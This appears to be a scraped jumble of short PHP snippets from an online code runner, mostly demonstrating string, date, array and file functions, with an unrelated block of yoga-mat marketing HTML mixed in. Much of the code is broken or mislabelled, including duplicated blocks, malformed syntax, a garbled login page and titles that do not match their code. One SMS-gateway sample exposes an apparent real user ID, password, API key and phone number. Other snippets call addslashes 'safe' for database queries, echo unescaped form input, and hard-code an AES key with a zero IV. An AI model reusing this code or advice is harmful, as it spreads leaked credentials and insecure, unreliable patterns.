<?php $one = "Since"; $two = "Sins"; echo metaphone($one); echo "<br>"; echo metaphone($two); ?>

metaphone() function in PHP example 2

<?php var_dump(metaphone('Welcome', 3)); ?>

metaphone() function in PHP

<?php var_dump(metaphone('demo')); ?>

md5() function in PHP example 2

<?php $s = "Welcome"; echo md5($s); if (md5($s) == "83218ac34c1834c26781fe4bde918ee4") { echo "\nWelcome"; exit; } ?>

levenshtein() function in PHP

<?php echo levenshtein("Welcome","elcome"); ?>

lcfirst() function in PHP example 2

<?php $res = 'WEB WORLD!'; $res = lcfirst($res); echo $res; $res = lcfirst(strtoupper($res)); echo $res; ?>

join() function in PHP

<?php $arr = array('This','is','Demo','Text!'); echo join("$",$arr); ?>

implode() function in PHP example 2

<?php $myarr = array('This','is','Demo','Text!'); echo implode("-",$myarr); echo implode("#",$myarr); ?>

hebrev() function in PHP

<?php echo hebrev("á çùåï äúùñâ"); ?>

get_html_translation_table() function in PHP

<?php print_r (get_html_translation_table(HTML_SPECIALCHARS)); ?>

echo() function in PHP

<?php echo "Welcome!"; ?>

crypt() function in PHP

<?php if (CRYPT_STD_DES == 1) { echo "DES supported = ".crypt('demo','st')."\n<br>"; } else { echo "DES not supported!"; } ?>

count_chars() function in PHP example 2

<?php $s = "Welcome!"; echo count_chars($s,3); ?>

convert_uudecode() function in PHP

<?php echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");?>

convert_cyr_string() function in PHP

<?php $s = "Welcome to the website! æøå"; echo $s . "<br>"; echo convert_cyr_string($str,'w','a'); ?>

chunk_split() function in PHP example 2

<?php $s = "My Name is Tom"; echo chunk_split($s,3,"$$"); ?>

chr() function in PHP example 2

<?php $val = 88; echo chr($val); ?>

chop() function in PHP

<?php $str = "Demo Text!"; echo $str . " "; echo chop($str,"Text!"); ?>

addslashes() function in PHP

<?php $s = "Who's Tom Hanks?"; echo $s . " Unsafe for database query!<br>"; echo addslashes($s) . " Safe in a database query!"; ?>

addcslashes() function in PHP example 2

<?php $str = addcslashes("First World!","a..r"); echo($str); ?>

strptime() function in PHP

<?php $format = '%d/%m/%Y %H:%M:%S'; $strf = strftime($format); echo "$strf\n"; print_r(strptime($strf, $format)); ?>

mktime() function in PHP example 2

<?php echo date("M-d-Y",mktime(0,0,0,22,9,2018)) . "<br>"; ?>

localtime() function in PHP example 2

<?php echo ("The local time is : \n"); print_r(localtime()); ?>

gmmktime() function in PHP example 2

<?php echo "Nov 10, 2017 was on a ".date("l", gmmktime(0,0,0,11,10,2017)); ?>

getdate() function in PHP example 2

<?php $dt = getdate(date("U")); echo "$dt[weekday], $dt[month] $dt[mday], $dt[year]"; ?>

date() function in PGP example 2

<?php echo date(DATE_RFC822) . "<br>"; echo date(DATE_ATOM,mktime(0,0,0,11,7,2017)); ?>

date_timezone_get() function in PHP

<?php $dt = date_create(null,timezone_open("Asia/Kolkata")); $time_zone = date_timezone_get($dt); echo timezone_name_get($time_zone); ?>

date_sunset() function in PHP example 2

<?php echo date("D M d Y"); echo("\nSunset time: "); echo(date_sunset(time(), SUNFUNCS_RET_STRING, 22.9564, 85.8531, 90, 5.45)); ?>

date_sunrise() function in PHP example 2

<?php $res = strtotime('2018-10-25'); var_dump(date_sunrise($res, SUNFUNCS_RET_STRING, 69.245833, -53.537222)); ?>

date_parse() function in PHP

<?php print_r(date_parse("2017-10-10 11:00:00.5 +2 week +2 hour")); ?>

date_isodate_set() function in PHP

<?php $d = date_create(); date_isodate_set($d,2017,9); echo date_format($d,"Y-m-d"); ?>

date_isodate_set() function in PHP

<?php $dateSrc = '2018-10-11 11:15 GMT'; $dateTime = date_create( $dateSrc);; # Now set a new date using date_isodate_set(); date_isodate_set( $dateTime, 2000, 12, 12); echo "New Formatted date = ". $dateTime->format("Y-m-d\TH:i:s\Z"); echo "<br />"; # Using second function. $dateTime = new DateTime($dateSrc); $dateTime->setISODate( 1999, 10, 12); echo "New Formatted date is ". $dateTime->format("Y-m-d\TH:i:s\Z"); ?>

date_default_timezone_get() function in PHP

<?php date_default_timezone_set('Asia/Singapore'); $obj= date_default_timezone_get(); if (strcmp($obj, ini_get('date.timezone'))){ echo 'No match!'; } else { echo 'Match!'; } ?>

date_default_timezone_get() function in PHP

<?php echo date_default_timezone_get(); ?>

checkdate() function in PHP

<?php $month = 9; $day = 30; $year = 2018; var_dump(checkdate($month, $day, $year)); ?>

restore_error_handler() function in PHP

<?php function unserialize_handler($errno, $errstr) { echo "Custom error: Invalid hello value.\n"; } $hello = 'pqrs'; set_error_handler('unserialize_handler'); $original = unserialize($hello); restore_error_handler();?>

error_log() function in PHP

<?php error_log("That’s no good!", 3, "/var/tmp/my-errors.log"); ?>

error_get_last() function in PHP

<?php echo $res; print_r(error_get_last()); ?>

ctype_upper() function in PHP

<?php $arr = array('9898jjhh', 'PQR', 'Amit'); foreach ($arr as $demo) { if (ctype_upper($demo)) { echo "$demo has all uppercase letters. \n"; }else { echo "$demo does not have all uppercase letters. \n"; } } ?>

ctype_space() function in PHP

<?php $arr = array(' ', '\test123' ); foreach ($arr as $demo) { if (ctype_space($demo)) { echo "$demo consists of all whitespace characters. \n"; }else { echo "$demo does not have all whitespace characters. \n"; } }?>

ctype_lower() function in PHP

<?php $arr = array('Tim879', 'tom'); foreach ($arr as $x) { if (ctype_lower($x)) { echo "$x consists of all lowercase letters. \n"; }else { echo "$x does not have all lowercase letters. \n"; } } ?>

ctype_cntrl() function in PHP

<?php<?php $arr = array('str1' =>"\n\r\t", 'str2' =>"demo76876test"); foreach ($arr as $a => $demo) { if (ctype_cntrl($demo)) { echo "$a has all control characters. \n"; }else { echo "$a does not have all control characters. \n"; } } ?> $arr = array('str1' =>"\n\r\t", 'str2' =>"demo76876test"); foreach ($arr as $a => $demo) { if (ctype_cntrl($demo)) { echo "$a has all control characters. \n"; }else { echo "$a does not have all control characters. \n"; } } ?>

get_object_var() function in PHP

<?php class Point2D { var $x, $y; var $label; function Point2D($x, $y) { $this->x = $x; $this->y = $y; } function setLabel($label) { $this->label = $label; } function getPoint() { return array("x" => $this->x, "y" => $this->y, "label" => $this->label); } } $p1 = new Point2D(9.675, 8.321); print_r(get_object_vars($p1)); $p1->setLabel("point #1"); print_r(get_object_vars($p1));?>

get_declared_classes() function in PHP

<?php print_r(get_declared_classes()); ?>

unixtojd() function in PHP

<?php echo unixtojd(); ?>

jdtojulian() function in PHP

<?php $res = juliantojd(9,9,2018); echo $res . "<br>"; echo jdtojulian($res); ?>

JDToGregorian() function in PHP

<?php $res = gregoriantojd(11,11,18); echo $res . "<br>"; echo jdtogregorian($res); ?>

funckcija return multiple values vjezba

<?php function add_subt($val1, $val2) { $add=$val1+$val2; $subt=$val1-$val2; return array($add, $subt); } list($array_add, $array_sub) = add_subt(22,5); echo "Add " . $array_add . " \n"; echo "Subt" . $array_sub . " \n";?> <html> <head> <title>tao form trong php</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <form method="POST"> <h2>名前入力:</h2> <input type="text" name="dangnhap"> <h2>アドレス入力:</h2> <input type="text" name="diachi"> <input type="submit" value="ログイン"> </form> <?php //lay name tu chuoi truy van va luu tru vao trong bien $name=$_POST['dangnhap']; $adress=$_POST['diachi']; echo"<h3>おめでとうございます!$name 登録完 </h3>"; echo"<h3>住所:$adress</h3>"; ?> </body> </html> <html> <head> <title>第1課</title> </head> <body> <?php phpinfo(); ?> </body> </html>

sort() function in PHP

<?php $arr = array("jack", "tim", "scarlett","david" ); sort($arr, SORT_STRING); print_r($arr); ?>

sizeof() function in PHP

<?php $students = array("Jack","Peter", "Anne","David"); echo sizeof($students); ?>

pos() function in PHP

<?php $arr = array("one", "two"); echo pos($arr); ?>

next() function in PHP

<?php $os = array('windows', 'mac', 'linux', 'solaris'); echo current($os) . "<br>"; echo next($os); ?>

list() function in PHP

<?php $arr = array("David","Jack"); list($one, $two) = $arr; echo "Selected candidates: $one and $two."; ?>

key() function in PHP

<?php $arr = array("Electronics","Footwear"); echo "Key from the current position = " . key($arr); ?>

in_array() function in PHP example 2

<?php $pro = array("Tom", "Amit", "Peter", "Rahul", 5, 10); if (in_array(5, $pro, TRUE)) { echo "Match!"; } else { echo "No Match!"; } ?>

end() function in PHP example 2

<?php $a = array('one', 'two', 'three', 'four', 'five', 'six' ); echo current($a)."\n"; echo next($a)."\n"; echo current($a)."\n"; echo end($a)."\n"; echo current($a)."\n"; ?>

end() function in PHP

<?php $os = array('windows', 'mac', 'linux', 'solaris'); echo end($os); ?>

current() function in PHP example 2

<?php $a = array('one', 'two', 'three', 'four', 'five', 'six' ); echo current($a)."\n"; echo next($a)."\n"; echo current($a)."\n"; ?>

arsort() function in PHP

<?php $rank = array("Australia"=>2,"India"=>5,"Bangladesh"=>9); arsort($rank); foreach($rank as $akey=>$avalue) { echo "Key=" . $akey . " : Value=" . $avalue; echo "<br>"; } ?>

array_uintersect_uassoc() function in PHP

<?php function compare_func_key($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } function compare_func_val($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("a" => "laptop", "b" => "keyboard", "c" => "mouse"); $arr2 = array("a" => "laptop", "b" => "keyboard", "c" => "headphone"); $res = array_uintersect_uassoc($arr1, $arr2, "compare_func_key", "compare_func_val"); print_r($res);?>

array_uintersect_assoc() function in PHP

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1=array("p"=>"one","q"=>"two","r"=>"three"); $arr2=array("p"=>"five","q"=>"four","r"=>"three"); $res = array_uintersect_assoc($arr1, $arr2, "compare_func"); print_r($res); ?>

array_uintersect() function in PHP

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("p"=>"one","q"=>"two","r"=>"three"); $arr2 = array("p"=>"three","q"=>"four","s"=>"three"); $res = array_uintersect($arr1, $arr2, "compare_func"); print_r($res); ?>

array_udiff_assoc() function in PHP

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("a" => "laptop", "b" => "keyboard", "c" => "mouse"); $arr2 = array("a" => "laptop", "d" => "mouse"); $res = array_udiff_assoc($arr1, $arr2, "compare_func"); print_r($res); ?>

array_sum() function in PHP

<?php $arr = array(50, 100, 150, 300); echo array_sum($arr); ?>

array_splice() function in PHP ex 2

<?php $arr1 = array("accessories", "tablet", "laptop", "mobile"); array_splice($arr1, 3, 0, "desktop"); print_r($arr1); ?>

array_slice() function in PHP ex 2

<?php $arr = array("electronics","accessories","shoes","toys","bags"); print_r(array_slice($arr,1,3, false)); ?>

array_search() function in PHP

<?php $arr = array("p"=>20,"q"=>20,"r"=>30,"s"=>40); echo array_search(20,$arr,true); ?>

array_push() function in PHP

<?php $arr = array("table", "chair","pen", "pencil"); array_push($arr,"notepad", "paperclip"); print_r($arr); ?>

yogamate

#1 <h1 class="heading white">Hello! <br/>I’m your unique yoga mat.<br/>Unique like you.</h1 #2 <h1 class="heading">I’m ordinary <br/>from one side.</h1> <p class="paragraph big">On the one hand, I’m just a mat with usual features. However, we were able to add something.</p><div data-duration-in="300" data-duration-out="100" class="tabs w-tabs"><div class="w-tab-menu"><a data-w-tab="Tab 1" class="tab w-inline-block w-tab-link"><div>Purple (mat 1)</div></a><a data-w-tab="Tab 2" class="tab w-inline-block w-tab-link w--current"><div>Natural Eco rubber Yoga Mat</div></a></div><div class="w-tab-content"><div data-w-tab="Tab 1" class="tab_plane w-tab-pane"><p class="ulli">• 4.5 lbs; 68” x 24”; 4 mm thick<br/>• Developed by yoga teachers over 4 years. <br/>• Most durable natural rubber yoga mat on the market. <br/>• No PVC or harmful plasticizers. <br/>• Made from biodegradable, non-Amazon harvested, natural tree rubber with non-toxic foaming agents and non-AZO dyes. <br/>• 99% latex free. <br/>• All post-industrial scrap is thoughtfully collected and utilized in the production of other materials creating a zero waste manufacturing process.</p></div><div data-w-tab="Tab 2" class="tab_plane w-tab-pane w--tab-active"><p class="ulli">High density double Natural Eco rubber Yoga Mat<br/>PVC/ latex/silicone/phthalate free<br/>Size: 183x61x0.5cm, weight is 2900 g/pc. <br/>Color: Top – White<br/>Bottom: Black</p></div></div></div><div class="div-block"></div></div></div><div class="screen_three"><div class="screen_one_content"> #3 <h1 class="heading">Unique from<br/>other.</h1><p class="paragraph big">On the other hand, I'm the way you want! And I will help you —</p><h4 class="heading-2"><strong>To stand out — Appeal 80 level</strong></h4><p class="paragraph small">Appeal 80 level. You and your mate will attract views. You can stand out and your mate will be one in a million.<br/></p><h4 class="heading-2"><strong>To get many likes<br/></strong></h4><p class="paragraph small">Selfy-friendly design for your 10k+ likes. Take pictures against your mat and surprise your friends with your style..<br/></p><h4 class="heading-2"><strong>To be in the right mood.<br/></strong></h4><p class="paragraph small">Design is your motivation. Choose an image that inspires you and the mat will help you in a stable meditation practice.<br/></p> #5 <h1 class="heading">Technology<br/>&amp;Ecology</h1><p class="paragraph big">Modern technologies allow us to make a usual mat customized..</p><h4 class="heading-2"><strong>The tecnology </strong></h4><p class="paragraph small">Yoga mat material and modern printing technology will allow you to enjoy a vivid image for a long time. Your image and mat is a whole unit.<br/></p><h4 class="heading-2"><strong>Eco frendly </strong></h4><p class="paragraph small">Bacteria and everything that usually causes irritation will no longer bother you. We use inks that have antiseptic properties and prevent the appearance of fungus on the surface of the mat..<br/></p><h4 class="heading-2"><strong>Taking care of nature.</strong></h4><p class="paragraph small">We recycle the mats. <br/> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

https://pt.stackoverflow.com/q/331916/101

<?php class ConnectDB { public $pdo; private $driver, $host, $port, $base, $user, $pass; public function __construct() { $this->setDriver('mysql'); $this->setHost('localhost'); $this->setPort('3306'); $this->setBase('bsn'); $this->setUser('root'); $this->setPass(''); $this->connect(); } public function connect() { try { $this->pdo = new PDO("{$this->getDriver()}:host={$this->getHost()};port={$this->getPort()};dbname={$this->getBase()}", $this->getUser(), $this->getPass()); $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $this->pdo->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL); } catch (PDOException $e) { die('Ocorreu um erro na conexão com o banco de dados.'); } } public function setDriver($str) { $this->driver = $str; } public function setHost($str) { $this->host = $str; } public function setPort($str) { $this->port = $str; } public function setBase($str) { $this->base = $str; } public function setUser($str) { $this->user = $str; } public function setPass($str) { $this->pass = $str; } public function getPDO() { return $this->pdo; } public function getDriver() { return $this->driver; } public function getHost() { return $this->host; } public function getPort() { return $this->port; } public function getBase() { return $this->base; } public function getUser() { return $this->user; } public function getPass() { return $this->pass; } } class ManipulateData extends ConnectDB { public function select($query) { $stmt = $this->getPDO()->prepare($query); $stmt->execute(); return $stmt->fetchAll(); } } $obj = new ManipulateData(); print_r(obj.select('SELECT * FROM vagas')); //https://pt.stackoverflow.com/q/331916/101 <?php // PHP function quadrat($i) { return($i*$i); } for ($i = 1; $i <= 10; $i++) { echo $i, " ", quadrat($i), "\n"; }?>

PHP array chunk() function

<?php $products = array("Electronics"=>"99", "Accessories"=>"110", "Clothing"=>"150", "Furniture"=>"198"); print_r(array_chunk($products,2,true));?>

Find maximum in array

<?php // PHP program to find maximum // in arr[] of size n // PHP function to find maximum // in arr[] of size n function largest($arr, $n) { $i; // Initialize maximum element $max = $arr[0]; // Traverse array elements // from second and // compare every element // with current max for ($i = 1; $i < $n; $i++) if ($arr[$i] > $max) $max = $arr[$i]; return $max; } // Driver Code $arr= array(10, 324, 45, 90, 9808); $n = sizeof($arr); echo "Largest in given array is " , largest($arr, $n); // This code is contributed by aj_36 ?>

PHP merge two array and sort them

<?php $a1 = array(12, 55, 3, 9, 99); $a2 = array(44, 67, 22, 78, 46); $num = array_merge($a1,$a2); array_multisort($num,SORT_ASC,SORT_NUMERIC); print_r($num); ?>

PHP array multisort() function returns a sorted array

<?php $a1 = array(12, 55, 3, 9, 99); $a2 = array(44, 67, 22, 78, 46); array_multisort($a1,$a2); print_r($a1); print_r($a2); ?>

PHP array merge recursive() function

<?php $arr1 = array("p"=>"one","q"=>"two"); $arr2 = array("q"=>"three","r"=>"four"); print_r(array_merge_recursive($arr1,$arr2)); ?>

PHP array merge() function

<?php $arr1 = array("p"=>"red","q"=>"green"); $arr2 = array("p"=>"blue","r"=>"yellow"); print_r(array_merge($arr1,$arr2)); ?>

PHP create array of arrays using array map()

<?php $arr1 = array(1, 2, 3); $arr2 = array("steve", "david", "nadal"); $arr3 = array("cricket", "football", "tennis"); $res = array_map(null, $arr1, $arr2, $arr3); print_r($res); ?>

PHP array map() function returns an array

<?php function square($n) { return($n * $n); } $arr = array(1, 2, 3); $res = array_map("square", $arr); print_r($res); ?>

PHP find the key for a specific value

<?php $arr = array("one" => "Pen", "two" => "Notepad", "three" => "Paper", "four" => "Notepad"); print_r(array_keys($arr, "Notepad")); ?>

PHP array keys() function returns an array

<?php $arr = array("one" => "Pen", "two" => "Pencil", "three" => "Paper", "four" => "Notepad"); print_r(array_keys($arr)); ?>

PHP array key exists() function

<?php $arr = array("One"=>"Tennis","Two"=>"Football", "Three"=>"Cricket"); if (array_key_exists("Three",$arr)) { echo "Key is in the array!"; } else { echo "Key is not in the array!"; } ?>

PHP array intersect ukey() function

<?php function check($a,$b) { if ($a===$b){ return 0; } return ($a>$b)?1:-1; } $arr1 = array("a"=>"one","b"=>"two","c"=>"three"); $arr2 = array("a"=>"one","b"=>"two"); $result = array_intersect_ukey($arr1,$arr2,"check"); print_r($result); ?>

PHP array intersect uassoc() function

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("a" => "laptop", "b" => "keyboard", "c" => "mouse"); $arr2 = array("d" => "laptop", "b" => "keyboard", "c" => "mouse"); $res = array_intersect_uassoc($arr1, $arr2, "compare_func"); print_r($res); ?>

PHP array intersect key() function

<?php $arr1 = array("p"=>"headphone","q"=>"earpod","r"=>"charger"); $arr2 = array("p"=>"headphone","q"=>"earpod"); $res = array_intersect_key($arr1,$arr2); print_r($res); ?>

PHP array intersect assoc() function

<?php $arr1 = array("p"=>"headphone","q"=>"earpod","r"=>"charger"); $arr2 = array("p"=>"headphone","q"=>"earpod"); $res = array_intersect_assoc($arr1,$arr2); print_r($res); ?>

PHP array intersect() function

<?php $arr1 = array(15, 30, 40, 60, 78, 100, 130, 145, 150); $arr2 = array(50, 60, 70, 80, 90, 100); $res = array_intersect($arr1,$arr2); print_r($res); ?>

PHP array intersect() function returns an array

<?php $a1 = array("p"=>"Windows","q"=>"Mac","r"=>"Linux"); $a2 = array("s"=>"Windows","t"=>"Linux"); $result = array_intersect($a1,$a2); print_r($result); ?>

PHP array combine() function

<?php $sports= array('football', 'cricket'); $players= array('david', 'steve'); $res = array_combine($sports, $players); print_r($res); ?>

PHP array flip() function

<?php $arr = array("p"=>"keyboard","q"=>"mouse","r"=>"monitor"); $res = array_flip($arr); print_r($res); ?>

PHP array_filter() function

<?php function check($arr) { return(!($arr & 1)); } $arr1 = array(3, 6, 9, 15, 20, 30, 45, 48, 59, 66); print_r(array_filter($arr1, "check")); ?>

PHP array fill keys() function

<?php $arr = array('a', 'b', 'c', 1, 2, 3, 'steve', 'tom', 4, 5); $res = array_fill_keys($arr, demo); print_r($res) ?>

PHP array fill keys() function returns

<?php $arr = array('p', 'q', 'r'); $res = array_fill_keys($arr, demo); print_r($res) ?>

PHP array fill() function

<?php $a = array_fill(3, 5, 'demo'); print_r($a); ?>

PHP array diff ukey() function

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("a" => "laptop", "b" => "keyboard", "c" => "mouse"); $arr2 = array("a" => "laptop", "d" => "mouse"); $res = array_diff_ukey($arr1, $arr2, "compare_func"); print_r($res); ?>

PHP array diff key() function

<?php $arr1 = array('car' => 10, 'bus' => 15, 'truck' => 22); $arr2 = array('motorbike' => 35, 'bus' => 42); $res = array_diff_key($arr1,$arr2); print_r($res); ?>

PHP array diff assoc() function

<?php $arr1 = array("p"=>"football","q"=>"cricket","r"=>"hockey"); $arr2 = array("s"=>"football","t"=>"cricket"); $res = array_diff_assoc($arr1,$arr2); print_r($res); ?>

PHP array diff() function

<?php $arr1=array("p"=>"steve","q"=>"david","r"=>"peter"); $arr2=array("s"=>"steve","t"=>"amy"); $res = array_diff($arr1,$arr2); print_r($res); ?>

PHP array diff uassoc() function

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("a" => "laptop", "b" => "keyboard", "c" => "mouse", "monitor"); $arr2 = array("a" => "laptop", "harddisk", "RAM", "monitor"); $res = array_diff_uassoc($arr1, $arr2, "compare_func"); print_r($res); ?>

PHP array count values() function

<?php $arr = array("Laptop","Keyboard","Mouse","Keyboard","Keyboard", "Mouse","Keyboard"); print_r(array_count_values($arr)); ?>

php-curl-sms-sample-test-live

<?php //$apikey = '3262903660089983183';//if you use apikey then userid and password is not required //$userId = 'neha25'; //$password = 'Nehak@25'; //$sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) //$messageType = 'text'; //(text|unicode|flash) //$senderId = 'SMSGAT'; //$mobile = '917905234850';//comma separated //$msg = "This is my first message with SMSGatewayCenter"; //$scheduleTime = '';//mention time if you want to schedule else leave blank $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "http://enterprise.smsgatewaycenter.com/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=neha25&password=Nehak@25&senderId=SMSGAT&sendMethod=simpleMsg&msgType=text&mobile=917905234850&msg=This is my first message with SMSGatewayCenter&duplicateCheck=true&format=json&scheduleTime=2017-06-13%2020%3A22%3A00", CURLOPT_HTTPHEADER => array( "apikey: 3262903660089983183", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; } ?>

PHP array combine() function

<?php $products = array("Electronics"=>"99","Accessories"=>"110","Clothing"=>"150","Furniture"=>"198"); print_r(array_chunk($products,2,true)); ?>

PHP array chunk() function

<?php $products = array("Electronics"=>"99","Accessories"=>"110","Clothing"=>"150","Furniture"=>"198"); print_r(array_chunk($products,2,true)); ?>

PHP convert all keys to lowercase

<?php $vehicle = array("C"=>"Car","T"=>"Bike"); print_r(array_change_key_case($vehicle,CASE_LOWER)); ?>

PHP convert all keys to uppercase

<?php $vehicle = array("b"=>"Bus","t"=>"Truck"); print_r(array_change_key_case($vehicle,CASE_UPPER)); ?>

PHP associative arrays

<?php $rank = array("Football"=>"1","Cricket"=>"2"); foreach($rank as $mykey=>$myvalue) { echo "Key = " . $mykey . ", Value = " . $myvalue; echo "<br>"; } ?>

PHP indexed arrays

<?php $products = array("Electronics","Clothing","Accessories", "Footwear"); $len = count($products); for($i = 0;$i<$len;$i++) { echo $products[$i]; echo "<br>"; } ?> <?php $file_pointer = "one.txt"; if (!unlink($file_pointer)) { echo ("File can’t be deleted!"); } else { echo ("File deleted!"); } ?>

PHP touch()function

<?php $myfile = "new.txt"; $set_time = time() - 28800; // changing the modification time if (touch($myfile, $set_time)) { echo ("The modification time of $myfile updated to 8 hrs in the past."); } else { echo ("The modification time of $myfile can’t be updated."); } ?>

PHP touch() function returns TRUE on success

<?php $myfile = "new.txt"; // changing the modification time to current system time if (touch($myfile)) { echo ("The modification time of $myfile set to current time."); } else { echo ("The modification time of $myfile can’t be updated."); } ?>

PHP tmpfile() function

<?php $tmpfile = tmpfile(); fwrite($tmpfile, "This is demo text in temp file!"); rewind($tmpfile); echo fread($tmpfile, 1024); fclose($tmpfile); ?>

PHP set file buffer() function

<?php $file_pointer = fopen("new.txt","w"); $res = set_file_buffer($file_pointer,300); if($res) echo "buffer set"; else echo "buffer not set"; ?>

PHP realpath cache size() function

<?php echo realpath_cache_size(); ?>

PHP realpath cache get() function

<?php print_r(realpath_cache_get()) ?>

PHP get only the extension

<?php print_r(pathinfo("/images/architecture.png",PATHINFO_EXTENSION)); ?>

PHP get only the basename

<?php print_r(pathinfo("/images/architecture.png",PATHINFO_BASENAME)); ?>

PHP get only the directory name

<?php print_r(pathinfo("/images/architecture.png",PATHINFO_DIRNAME)); ?>

PHP set the second parameter

<?php print_r(pathinfo("/images/architecture.png")); ?>

PHP move uploaded file() function

<?php if (move_uploaded_file($_FILES['userfile']['tmp_name'], "/documents/new/")) { print "Uploaded successfully!"; } else { print "Upload failed!"; } ?>

PHP is writeable() function

<?php $file = "demo.txt"; if(is_writeable($file)) { echo ("File is writeable!"); } else { echo ("File is not writeable!"); } ?>

PHP is writable() function returns

<?php $file = "one.txt"; if(is_writable($file)) { echo ("File is writeable!"); } else { echo ("File is not writeable!"); } ?>

PHP is uploaded file() function

<?php $file = "newdetailstxt"; if(is_uploaded_file($file)) { echo ("Uploaded via HTTP POST"); } else { echo ("Not uploaded via HTTP POST"); } ?>

PHP is readable() function

<?php $file_path = "demo.txt"; if(is_readable($file_path)) { echo ("Readable!"); echo ("Reading file: "); readfile($file_path); } else { echo ("Not readable!"); } ?>

PHP readable() function returns

<?php $file_path = "new.txt"; if(is_readable($file_path)) { echo ("Readable!"); } else { echo ("Not readable!"); } ?>

PHP is link() function

<?php $mylink = "documents"; if(is_link($mylink)) { echo ("link"); } else { echo ("not a link"); } ?>

PHP symbolic link

<?php $mylink = "new"; if(is_link($mylink)) { echo ("link"); } else { echo ("not a link"); } ?>

PHP is file() function

<?php $check = "D:/info/one.txt"; if (is_file($check)) echo ("Regular file!"); else echo ("Not a regular file!"); ?>

PHP is executable()

<?php $check = "D:/tutorials/java.docx"; if (is_executable($check)) echo ("Executable!"); else echo ("Not executable!"); ?>

PHP is executable() function

<?php $check = "D:/tutorials/setup.exe"; if (is_executable($check)) echo ("Executable!"); else echo ("Not executable!"); ?>

PHP is dir() function

<?php $check = "D:/tutorials"; if (is_dir($check)) echo ("Directory!"); else echo ("Not a directory!"); ?>

PHP fnmatch() function

<?php $file = "organization.txt"; if (fnmatch("*organi[zs]ation",$file)) { echo "Found!"; } else { echo "Not found!"; } ?>

PHP filemtime() function

<?php echo "Last modification time of the file: ".date("F d Y H:i:s.",filectime("info.txt")); ?>

PHP filegroup() function

<?php echo "Last change time of the file: ".date("F d Y H:i:s.",filectime("info.txt")); ?>

PHP filectime() function

<?php echo "Last change time of the file: ".date("F d Y H:i:s.",filectime("info.txt")); ?>

PHP fileatime() function

<?php echo "Last access time of the file: ".date("F d Y H:i:s.",fileatime("new.txt")); ?>

PHP file put contents() function

<?php echo file_put_contents("new.txt","This is it!"); ?>

PHP diskfreespace() function

<?php $free_space = diskfreespace("/home/"); echo "Free Space: $free_space"; ?>

PHP diskfreespace() function returns bytes

<?php echo diskfreespace("/home/"); ?>

PHP disk total space() function

<?php $total_space = disk_total_space("/home/"); echo "Total Available Space: $total_space"; ?>

PHP disk total space() function returns

<?php echo disk_total_space("/home/"); ?>

PHP disk_free_space() function

<?php echo disk_free_space("/home/"); ?>

PHP dirname()function

<?php $file_path = "/amit/java.docx"; $dir_name = dirname($file_path); echo "Name of the directory: $dir_name\n"; ?>

PHP dirname() function returns the path

<?php $file_path = "D:/amit/java.docx"; $dir_name = dirname($file_path); echo "Name of the directory: $dir_name\n"; ?>

PHP copy() function

<?php $file = '/usr/home/guest/example.txt'; $newfile = '/usr/home/guest/example.txt.bak'; if (!copy($file, $newfile)) { echo "failed to copy $file...\n"; }else { echo "copied $file into $newfile\n"; } ?>

PHP clearstatcache() function

<?php $file = fopen("tmp.txt", "a+"); // Clear cache clearstatcache(); echo "Cache cleared!"; ?>

PHP basename without the extension

<?php $file_path = "/backup/myfiles/new.php"; // displays name of the file without extension echo basename($file_path,".php"); ?>

PHP basename with the extension

<?php $file_path = "/backup/myfiles/new.php"; // displays name of the file with extension echo basename($file_path); ?>

PHP file_exists() function

<?php $myfile = '/doc/candidate.txt'; if (file_exists($myfile)) { echo "$myfile exists!"; } else { echo "$myfile does not exist!"; } ?>

login

<?php $connection = mysqli_connect('localhost', 'root', '', 'loginapp'); if ($connection) { # code... echo "We are connected"; } else{ die("db connection failded"); } $query = "SELECT * FROM users"; $result = mysqli_query($connection, $query); if(!$result){ die('query failed'. mysqli_error()); } ?> <!DOCTYPE html> <html> <head> <title>Login App</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> </head> <body> <div class="container"> <div class="col-sm-6"> <?php while($row = mysqli_fetch_assoc($result)) { ?> print_r($row); } ?> </div> </div> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $key = 'abcdefghijklmnopqrstuvwxyz123456'; echo AES_Encode('imcore.net'); echo "\n"; echo AES_Decode('kWyuTmUELRiREWIPpLy3ZA=='); echo "\n"; function AES_Encode($plain_text) { global $key; return base64_encode(openssl_encrypt($plain_text, "aes-256-cbc", $key, true, str_repeat(chr(0), 16))); } function AES_Decode($base64_text) { global $key; return openssl_decrypt(base64_decode($base64_text), "aes-256-cbc", $key, true, str_repeat(chr(0), 16)); }?> </body> </html>

array

